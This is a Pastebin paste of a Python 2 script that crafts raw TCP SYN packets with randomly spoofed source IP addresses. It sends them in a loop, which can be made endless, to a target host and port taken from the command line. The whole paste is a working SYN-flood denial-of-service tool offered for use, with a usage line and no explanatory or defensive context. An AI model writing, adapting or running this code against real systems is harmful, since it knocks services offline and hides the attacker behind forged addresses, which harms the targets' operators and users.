Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, sys, random
- from struct import *
- def checksum(msg):
- s = 0
- for i in range(0, len(msg), 2):
- w = ord(msg[i]) + (ord(msg[i+1]) << 8 )
- s = s + w
- s = (s>>16) + (s & 0xffff);
- s = s + (s >> 16);
- s = ~s & 0xffff
- return s
- def rawsocket(source_ip, dest_ip, source_port, dest_port, message):
- ip_ihl = 5
- ip_ver = 4
- ip_tos = 0
- ip_tot_len = 0
- ip_id = 54321
- ip_frag_off = 0
- ip_ttl = 255
- ip_proto = socket.IPPROTO_TCP
- ip_check = 0
- ip_saddr = socket.inet_aton ( source_ip )
- ip_daddr = socket.inet_aton ( dest_ip )
- ip_ihl_ver = (ip_ver << 4) + ip_ihl
- ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)
- tcp_source = int(source_port)
- tcp_dest = int(dest_port)
- tcp_seq = 454
- tcp_ack_seq = 0
- tcp_doff = 5
- tcp_fin = 0
- tcp_syn = 1
- tcp_rst = 0
- tcp_psh = 0
- tcp_ack = 0
- tcp_urg = 0
- tcp_window = socket.htons(5840)
- tcp_check = 0
- tcp_urg_ptr = 0
- tcp_offset_res = (tcp_doff << 4) + 0
- tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)
- tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr)
- user_data = str(message)
- source_address = socket.inet_aton( source_ip )
- dest_address = socket.inet_aton(dest_ip)
- placeholder = 0
- protocol = socket.IPPROTO_TCP
- tcp_length = len(tcp_header) + len(user_data)
- psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
- psh = psh + tcp_header + user_data;
- tcp_check = checksum(psh)
- tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr)
- packet = ip_header + tcp_header + user_data
- return packet
- if len(sys.argv) == 4:
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
- except socket.error , msg:
- print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
- sys.exit()
- if int(sys.argv[3]) == 0:
- count = -99999999999999999999999999999
- else :
- count = 1
- while (count <= int(sys.argv[3])):
- source_ip = str(random.randint(1,255)) + '.' + str(random.randint(1,255)) + '.'+ str(random.randint(1,255)) + '.' + str(random.randint(1,255))
- dest_ip = socket.gethostbyname(sys.argv[1])
- port = sys.argv[2]
- packet = rawsocket(source_ip, dest_ip, port, port, "message :p")
- s.sendto(packet, (dest_ip , 0 ))
- print "Send to " + dest_ip + " from " + source_ip
- count = count + 1
- else:
- print "usage : " + sys.argv[0] + " {DestinationIP or domain} {port} {number of packet (0 if infinite)}"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement